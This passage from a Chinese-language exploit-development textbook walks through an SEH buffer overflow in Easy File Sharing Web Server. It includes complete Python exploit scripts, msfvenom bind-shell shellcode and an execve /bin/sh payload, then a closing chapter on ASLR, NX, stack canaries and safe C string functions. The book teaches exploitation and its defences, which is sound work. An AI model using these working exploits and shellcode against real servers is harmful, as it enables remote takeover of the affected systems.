Dx5Dx6Dx7Dx8Dx9Dy0Dy1Dy2Dy3Dy4Dy5Dy6Dy7Dy8Dy9Dz0Dz1Dz2Dz3Dz4Dz5Dz6Dz7Dz8Dz9Ea0Ea1Ea2Ea3Ea4Ea5Ea6Ea7Ea8Ea9Eb0Eb1Eb2Eb3Eb4Eb5Eb6Eb7Eb8Eb9Ec0Ec1Ec2Ec3Ec4Ec5Ec6Ec7Ec8Ec9Ed0Ed1Ed2Ed3Ed4Ed5Ed6Ed7Ed8Ed9Ee0Ee1Ee2Ee3Ee4Ee5Ee6Ee7Ee8Ee9Ef0Ef1Ef2Ef3Ef4Ef5Ef6Ef7Ef8Ef9Eg0Eg1Eg2Eg3Eg4Eg5Eg6Eg7Eg8Eg9Eh0Eh1Eh2Eh3Eh4Eh5Eh6Eh7Eh8Eh9Ei0Ei1Ei2Ei3Ei4Ei5Ei6Ei7Ei8Ei9Ej0Ej1Ej2Ej3Ej4Ej5Ej6Ej7Ej8Ej9Ek0Ek1Ek2Ek3Ek4Ek5Ek6Ek7Ek8Ek9El0El1El2El3El4El5El6El7El8El9Em0Em1Em2Em3Em4Em5Em6Em7Em8Em9En0En1En2En3En4En5En6En7En8En9Eo0Eo1Eo2Eo3Eo4Eo5Eo6Eo7Eo8Eo9Ep0Ep1Ep2Ep3Ep4Ep5Ep6Ep7Ep8Ep9Eq0Eq1Eq2Eq3Eq4Eq5Eq6Eq7Eq8Eq9Er0Er1Er2Er3Er4Er5Er6Er7Er8Er9Es0Es1Es2Es3Es4Es5Es6Es7Es8Es9Et0Et1Et2Et3Et4Et5Et6Et7Et8Et9Eu0Eu1Eu2Eu3Eu4Eu5Eu6Eu7Eu8Eu9Ev0Ev1Ev2Ev3Ev4Ev5Ev6Ev7Ev8Ev9Ew0Ew1Ew2Ew3Ew4Ew5Ew6Ew7Ew8Ew9Ex0Ex1Ex2Ex3Ex4Ex5Ex6Ex7Ex8Ex9Ey0Ey1Ey2Ey3Ey4Ey5Ey6Ey7Ey8Ey9Ez0Ez1Ez2Ez3Ez4Ez5Ez6Ez7Ez8Ez9Fa0Fa1Fa2Fa3Fa4Fa5Fa6Fa7Fa8Fa9Fb0Fb1Fb2Fb3Fb4Fb5Fb6Fb7Fb8Fb9Fc0Fc1Fc2Fc3Fc4Fc5Fc6Fc7Fc8Fc9Fd0Fd1Fd2Fd3Fd4Fd5Fd6Fd7Fd8Fd9Fe0Fe1Fe2Fe3Fe4Fe5Fe6Fe7Fe8Fe9Ff0Ff1Ff2Ff3Ff4Ff5Ff6Ff7Ff8Ff9Fg0Fg1Fg2Fg3Fg4Fg5Fg6Fg7Fg8Fg9Fh0Fh1Fh2Fh3Fh4Fh5Fh6Fh7Fh8Fh9Fi0Fi1Fi2Fi3Fi4Fi5Fi6Fi7Fi8Fi9Fj0Fj1Fj2Fj3Fj4Fj5Fj6Fj7Fj8Fj9Fk0Fk1Fk2Fk3Fk4Fk5Fk6Fk7Fk8Fk9Fl0Fl1Fl2Fl3Fl4Fl5Fl6Fl7Fl8Fl9Fm0Fm1Fm2Fm3Fm4Fm5Fm6Fm7Fm8Fm9Fn0Fn1Fn2Fn3Fn4Fn5Fn6Fn7Fn8Fn9Fo0Fo1Fo2Fo3Fo4Fo5Fo6Fo7Fo8Fo9Fp0Fp1Fp2Fp3Fp4Fp5Fp6Fp7Fp8Fp9Fq0Fq1Fq2Fq3Fq4Fq5Fq6Fq7Fq8Fq9Fr0Fr1Fr2Fr3Fr4Fr5Fr6Fr7Fr8Fr9Fs0Fs1Fs2Fs3Fs4Fs5Fs6Fs7Fs8Fs9Ft0Ft1Ft2Ft3Ft4Ft5Ft6Ft7Ft8Ft9Fu0Fu1Fu2Fu3Fu4Fu5Fu6Fu7Fu8Fu9Fv0Fv1Fv2Fv3Fv4Fv5Fv6Fv7Fv8Fv9Fw0Fw1Fw2Fw3Fw4Fw5Fw6Fw7Fw8Fw9Fx0Fx1Fx2Fx3Fx4Fx5Fx6Fx7Fx8Fx9Fy0Fy1Fy2Fy3Fy4Fy5Fy6Fy7Fy8Fy9Fz0Fz1Fz2Fz3Fz4Fz5Fz6Fz7Fz8Fz9Ga0Ga1Ga2Ga3Ga4Ga5Ga6Ga7Ga8Ga9Gb0Gb1Gb2Gb3Gb4Gb5Gb6Gb7Gb8Gb9Gc0Gc1Gc2Gc3Gc4Gc5Gc6Gc7Gc8Gc9Gd0Gd1Gd2Gd3Gd4Gd5Gd6Gd7Gd8Gd9Ge0Ge1Ge2Ge3Ge4Ge5Ge6Ge7Ge8Ge9Gf0Gf1Gf2Gf3Gf4Gf5Gf6Gf7Gf8Gf9Gg0Gg1Gg2Gg3Gg4Gg5Gg6Gg7Gg8Gg9Gh0Gh1Gh2Gh3Gh4Gh5Gh6Gh7Gh8Gh9Gi0Gi1Gi2Gi3Gi4Gi5Gi6Gi7Gi8Gi9Gj0Gj1Gj2Gj3Gj4Gj5Gj6Gj7Gj8Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk'
s = socket.socket()
s.connect(('192.168.129.128',80))
s.send("GET " + junk + " HTTP/1.0\r\n\r\n")
s.close()
关闭 Immunity Debugger,重新运行 Easy File Sharing Web Server。以管理员身份运行 Immunity Debugger 并将其附加到fsws
,然后运行利用程序。
应用程序崩溃了;让我们使用mona
对我们的模式进行一些分析:
!mona findmsp
上述命令的输出可以在以下截图中看到:
所以 nSEH 的偏移应该在4061
之后。
通过重新启动应用程序和 Immunity Debugger 来确认:
#!/usr/bin/python
import socket
junk = 'A'*4061
nSEH = 'B'*4
SEH = 'C'*4
pad = 'D'*(5000-4061-4-4)
injection = junk + nSEH + SEH + pad
s = socket.socket()
s.connect(('192.168.129.128',80))
s.send("GET " + injection + " HTTP/1.0\r\n\r\n")
s.close()
现在,运行利用程序:
按下Shift + F9来绕过异常:
获取 SEH 链(Alt + S):
在堆栈中查找地址04AD6FAC
:
我们的 B 位于下一个 SEH 中,我们的 C 位于 SEH 中。现在,我们对该应用程序的 SEH 有了控制。
注入 shellcode
这就是shellcode的样子:
现在我们需要为短跳转操作设置nSEH,\xeb\x10
,并为pop
,pop
和ret
操作设置SEH地址。让我们尝试使用mona
来找到一个。
首先,在 Immunity Debugger 中设置日志文件位置:
!mona config -set workingfolder c:\logs\%p
然后,提取 SEH 的详细信息:
!mona seh
以下截图显示了上述命令的输出:
我们需要一个没有任何坏字符的地址,所以从c:\logs\fsws\seh.txt
中打开日志文件。
选择一个,但记住要避免任何坏字符:
0x1001a1bf : pop edi # pop ebx # ret | {PAGE_EXECUTE_READ} [ImageLoad.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\EFS Software\Easy File Sharing Web Server\ImageLoad.dll)
这是我们的 SEH 地址0x1001a1bf
:
SEH = '\xbf\xa1\x01\x10'
现在是时候在端口4321
上生成和绑定 TCP shellcode 了。
$ msfvenom -p windows/shell_bind_tcp LPORT=4321 -b '\x00\x20\x25\x2b\x2f\x5c' -f python
buf = ""
buf += "\xd9\xf6\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x53\xbb\xbb"
buf += "\x75\x92\x5d\x31\x58\x17\x83\xe8\xfc\x03\xe3\x66\x70"
buf += "\xa8\xef\x61\xf6\x53\x0f\x72\x97\xda\xea\x43\x97\xb9"
buf += "\x7f\xf3\x27\xc9\x2d\xf8\xcc\x9f\xc5\x8b\xa1\x37\xea"
buf += "\x3c\x0f\x6e\xc5\xbd\x3c\x52\x44\x3e\x3f\x87\xa6\x7f"
buf += "\xf0\xda\xa7\xb8\xed\x17\xf5\x11\x79\x85\xe9\x16\x37"
buf += "\x16\x82\x65\xd9\x1e\x77\x3d\xd8\x0f\x26\x35\x83\x8f"
buf += "\xc9\x9a\xbf\x99\xd1\xff\xfa\x50\x6a\xcb\x71\x63\xba"
buf += "\x05\x79\xc8\x83\xa9\x88\x10\xc4\x0e\x73\x67\x3c\x6d"
buf += "\x0e\x70\xfb\x0f\xd4\xf5\x1f\xb7\x9f\xae\xfb\x49\x73"
buf += "\x28\x88\x46\x38\x3e\xd6\x4a\xbf\x93\x6d\x76\x34\x12"
buf += "\xa1\xfe\x0e\x31\x65\x5a\xd4\x58\x3c\x06\xbb\x65\x5e"
buf += "\xe9\x64\xc0\x15\x04\x70\x79\x74\x41\xb5\xb0\x86\x91"
buf += "\xd1\xc3\xf5\xa3\x7e\x78\x91\x8f\xf7\xa6\x66\xef\x2d"
buf += "\x1e\xf8\x0e\xce\x5f\xd1\xd4\x9a\x0f\x49\xfc\xa2\xdb"
buf += "\x89\x01\x77\x71\x81\xa4\x28\x64\x6c\x16\x99\x28\xde"
buf += "\xff\xf3\xa6\x01\x1f\xfc\x6c\x2a\x88\x01\x8f\x44\xa8"
buf += "\x8f\x69\x0e\x3a\xc6\x22\xa6\xf8\x3d\xfb\x51\x02\x14"
buf += "\x53\xf5\x4b\x7e\x64\xfa\x4b\x54\xc2\x6c\xc0\xbb\xd6"
buf += "\x8d\xd7\x91\x7e\xda\x40\x6f\xef\xa9\xf1\x70\x3a\x59"
buf += "\x91\xe3\xa1\x99\xdc\x1f\x7e\xce\x89\xee\x77\x9a\x27"
buf += "\x48\x2e\xb8\xb5\x0c\x09\x78\x62\xed\x94\x81\xe7\x49"
buf += "\xb3\x91\x31\x51\xff\xc5\xed\x04\xa9\xb3\x4b\xff\x1b"
buf += "\x6d\x02\xac\xf5\xf9\xd3\x9e\xc5\x7f\xdc\xca\xb3\x9f"
buf += "\x6d\xa3\x85\xa0\x42\x23\x02\xd9\xbe\xd3\xed\x30\x7b"
buf += "\xe3\xa7\x18\x2a\x6c\x6e\xc9\x6e\xf1\x91\x24\xac\x0c"
buf += "\x12\xcc\x4d\xeb\x0a\xa5\x48\xb7\x8c\x56\x21\xa8\x78"
buf += "\x58\x96\xc9\xa8"
我们的利用程序的结构应该是这样的:
让我们看看我们最终的利用程序:
#!/usr/bin/python
import socket
junk = 'A'*4061
nSEH='\xeb\x10\x90\x90'
SEH = '\xbf\xa1\x01\x10'
NOPs='\x90'*20
buf = ""
buf += "\xd9\xf6\xd9\x74\x24\xf4\x58\x31\xc9\xb1\x53\xbb\xbb"
buf += "\x75\x92\x5d\x31\x58\x17\x83\xe8\xfc\x03\xe3\x66\x70"
buf += "\xa8\xef\x61\xf6\x53\x0f\x72\x97\xda\xea\x43\x97\xb9"
buf += "\x7f\xf3\x27\xc9\x2d\xf8\xcc\x9f\xc5\x8b\xa1\x37\xea"
buf += "\x3c\x0f\x6e\xc5\xbd\x3c\x52\x44\x3e\x3f\x87\xa6\x7f"
buf += "\xf0\xda\xa7\xb8\xed\x17\xf5\x11\x79\x85\xe9\x16\x37"
buf += "\x16\x82\x65\xd9\x1e\x77\x3d\xd8\x0f\x26\x35\x83\x8f"
buf += "\xc9\x9a\xbf\x99\xd1\xff\xfa\x50\x6a\xcb\x71\x63\xba"
buf += "\x05\x79\xc8\x83\xa9\x88\x10\xc4\x0e\x73\x67\x3c\x6d"
buf += "\x0e\x70\xfb\x0f\xd4\xf5\x1f\xb7\x9f\xae\xfb\x49\x73"
buf += "\x28\x88\x46\x38\x3e\xd6\x4a\xbf\x93\x6d\x76\x34\x12"
buf += "\xa1\xfe\x0e\x31\x65\x5a\xd4\x58\x3c\x06\xbb\x65\x5e"
buf += "\xe9\x64\xc0\x15\x04\x70\x79\x74\x41\xb5\xb0\x86\x91"
buf += "\xd1\xc3\xf5\xa3\x7e\x78\x91\x8f\xf7\xa6\x66\xef\x2d"
buf += "\x1e\xf8\x0e\xce\x5f\xd1\xd4\x9a\x0f\x49\xfc\xa2\xdb"
buf += "\x89\x01\x77\x71\x81\xa4\x28\x64\x6c\x16\x99\x28\xde"
buf += "\xff\xf3\xa6\x01\x1f\xfc\x6c\x2a\x88\x01\x8f\x44\xa8"
buf += "\x8f\x69\x0e\x3a\xc6\x22\xa6\xf8\x3d\xfb\x51\x02\x14"
buf += "\x53\xf5\x4b\x7e\x64\xfa\x4b\x54\xc2\x6c\xc0\xbb\xd6"
buf += "\x8d\xd7\x91\x7e\xda\x40\x6f\xef\xa9\xf1\x70\x3a\x59"
buf += "\x91\xe3\xa1\x99\xdc\x1f\x7e\xce\x89\xee\x77\x9a\x27"
buf += "\x48\x2e\xb8\xb5\x0c\x09\x78\x62\xed\x94\x81\xe7\x49"
buf += "\xb3\x91\x31\x51\xff\xc5\xed\x04\xa9\xb3\x4b\xff\x1b"
buf += "\x6d\x02\xac\xf5\xf9\xd3\x9e\xc5\x7f\xdc\xca\xb3\x9f"
buf += "\x6d\xa3\x85\xa0\x42\x23\x02\xd9\xbe\xd3\xed\x30\x7b"
buf += "\xe3\xa7\x18\x2a\x6c\x6e\xc9\x6e\xf1\x91\x24\xac\x0c"
buf += "\x12\xcc\x4d\xeb\x0a\xa5\x48\xb7\x8c\x56\x21\xa8\x78"
buf += "\x58\x96\xc9\xa8"
injection = junk + nSEH + SEH + NOPs + buf
s = socket.socket()
s.connect(('192.168.129.128',80))
s.send("GET " + injection + " HTTP/1.0\r\n\r\n")
s.close()
关闭应用程序并重新启动。然后,运行利用程序并在端口4321
上运行nc
:
$ nc 192.168.129.128 4321
上述命令的输出如下所示:
运行正常!
总结
在本章中,我们对一些新的东西进行了真实的场景,即基于 SEH 的缓冲区溢出,并看了如何控制 SEH 并利用它。
到目前为止,我们在本书中所做的只是触及了这种类型的攻击的表面,您应该多加练习,因为这还不是结束。
在下一章中,我们将讨论系统中的安全机制以及如何使您的代码更安全。
第十二章:检测和预防
最后,到了本书的最后一章。在这里,我们将讨论防止缓冲区溢出攻击的安全机制。让我们将这些机制分为三部分:
-
系统方法
-
编译器方法
-
开发者方法
系统方法
在这部分,我们将讨论一些系统内核内置的机制,以防止缓冲区溢出攻击中的 ASLR 等技术。
地址空间布局随机化(ASLR)是一种针对溢出攻击的缓解技术,它随机化内存段,从而防止硬编码的利用。例如,如果我想使用返回到库的技术,我必须获取将在攻击中使用的函数的地址。然而,由于内存段的地址是随机化的,唯一的方法就是猜测那个位置,是的,我们使用这种技术来规避 NX 保护,但不能规避 ASLR。
对于安全极客们,不用担心;有许多方法可以规避 ASLR。让我们看看 ASLR 是如何真正工作的。打开你的 Linux 受害机器,并确保 ASLR 已禁用:
$ cat /proc/sys/kernel/randomize_va_space
上述命令的输出可以在以下截图中看到:
由于randomize_va_space
的值为0
,ASLR 已禁用。如果已启用,请将其设置为0
:
$ echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
现在,让我们看看任何应用程序的寻址布局,例如cat
:
$ cat
然后,打开另一个终端。现在,我们需要使用以下命令获取该进程的 PID:
$ ps aux | grep cat
上述命令的输出可以在以下截图中看到:
cat
的 PID 是5029
。让我们获取此进程的内存布局:
$ cat /proc/5029/maps
上述命令的输出可以在以下截图中看到:
现在,停止cat
进程使用Ctrl + C,然后再次启动它:
$ cat
然后,从另一个终端窗口运行以下命令:
$ ps aux | grep cat
上述命令的输出可以在以下截图中看到:
现在,cat
的 PID 是5164
。让我们获取此 PID 的内存布局:
$ cat /proc/5164/maps
上述命令的输出可以在以下截图中看到:
看看两个 PID 的内存布局;它们完全相同。所有东西都是静态分配在内存中的,比如库、堆栈和堆。
现在,让我们启用 ASLR 来看看区别:
$ echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
确保 ASLR 已启用:
$ cat /proc/sys/kernel/randomize_va_space
上述命令的输出可以在以下截图中看到:
然后,让我们启动任何进程,例如cat
:
$ cat
然后,从另一个终端窗口运行以下命令:
$ ps aux | grep cat
上述命令的输出可以在以下截图中看到:
cat
的 PID 是5271
。现在,阅读它的内存布局:
$ cat /proc/5271/maps
上述命令的输出可以在以下截图中看到:
现在,让我们停止cat
,然后再次运行它:
$ cat
然后,让我们捕获cat
的 PID:
$ ps aux | grep cat
上述命令的输出可以在以下截图中看到:
现在,阅读它的内存布局:
$ cat /proc/5341/maps
上述命令的输出可以在以下截图中看到:
让我们比较两个地址。它们完全不同。堆栈、堆和库现在都是动态分配的,所有地址将对每次执行都变得唯一。
现在到下一部分,即编译器方法,比如可执行空间保护和 canary。
编译器方法
可执行空间保护是一种技术,用于将内存中的某些段标记为不可执行,比如堆栈和堆。因此,即使我们成功注入了 shellcode,也不可能使该 shellcode 运行。
在 Linux 中,可执行空间保护被称为不可执行(NX),在 Windows 中被称为数据执行防护(DEP)。
让我们尝试使用我们在第六章中的例子,缓冲区溢出攻击:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
int copytobuffer(char* input)
{
char buffer[256];
strcpy (buffer,input);
return 0;
}
void main (int argc, char *argv[])
{
int local_variable = 1;
copytobuffer(argv[1]);
exit(0);
}
现在,禁用 NX 编译它:
$ gcc -fno-stack-protector -z execstack nx.c -o nx
在 GDB 中打开它:
$ gdb ./nx
然后,让我们运行这个利用:
#!/usr/bin/python
from struct import *
buffer = ''
buffer += '\x90'*232
buffer += '\x48\x31\xc0\x50\x48\x89\xe2\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x48\x89\xe7\x50\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05'
buffer += pack("<Q", 0x7fffffffe2c0)
f = open("input.txt", "w")
f.write(buffer)
执行利用:
$ python exploit.py
在 GDB 中,运行以下命令:
$ run $(cat input.txt)
上述命令的输出可以在以下截图中看到:
现在,让我们尝试启用 NX 的相同利用:
$ gcc -fno-stack-protector nx.c -o nx
然后,在 GDB 中打开它并运行以下命令:
$ run $(cat input.txt)
上述命令的输出可以在以下截图中看到:
那么,为什么代码会卡在这个地址?
因为它甚至拒绝执行我们从栈中的 No Operation (nop
),因为栈现在是不可执行的。
让我们谈谈另一种技术,即栈 canary 或栈保护器。栈 canary 用于检测任何企图破坏栈的行为。
当一个返回值存储在栈中时,在存储返回地址之前会写入一个称为canary值的值。因此,任何尝试执行栈溢出攻击的行为都会覆盖canary值,这将导致引发一个标志来停止执行,因为有企图破坏栈的行为:
现在,尝试使用我们之前的例子,但让我们启用栈canary
:
$ gcc -z execstack canary.c -o canary
然后,在 GDB 中重新运行它并尝试我们的利用:
$ run $(cat input.txt)
上述命令的输出可以在以下截图中看到:
让我们看看为什么它失败了:
它试图将原始 canary 值与存储的值进行比较,但失败了,因为我们用我们的攻击覆盖了原始值:
正如你所看到的,栈破坏已被检测到!
开发者方法
现在到最后一部分,即开发者方法,任何开发者都应该尽其所能保护他们的代码免受溢出攻击。我会谈论 C/C++,但概念仍然是一样的。
首先,在使用任何字符串处理函数时,你应该使用安全函数。下表显示了不安全的函数以及应该使用的替代函数:
不安全函数 | 安全函数 |
---|---|
strcpy |
strlcpy |
strncpy |
strlcpy |
strcat |
strlcat |
strncat |
strlcat |
vsprintf |
vsnprintf 或 vasprintf |
sprintf |
snprintf 或 asprintf |
此外,你应该始终使用sizeof
函数来计算代码中缓冲区的大小。尝试通过将其与安全函数混合使用来精确计算缓冲区大小;然后,你的代码现在更安全了。
总结
在本书的最后一章中,我们讨论了操作系统中的一些保护技术,还有一些 C 编译器中的技术,比如 GCC。然后,我们继续讨论如何使你的代码更安全。
这还不是结束。有更多的方法来规避每种保护技术。通过本书,你已经获得了坚实的基础,可以继续你的学习之旅。继续前进,我保证你会掌握这个领域!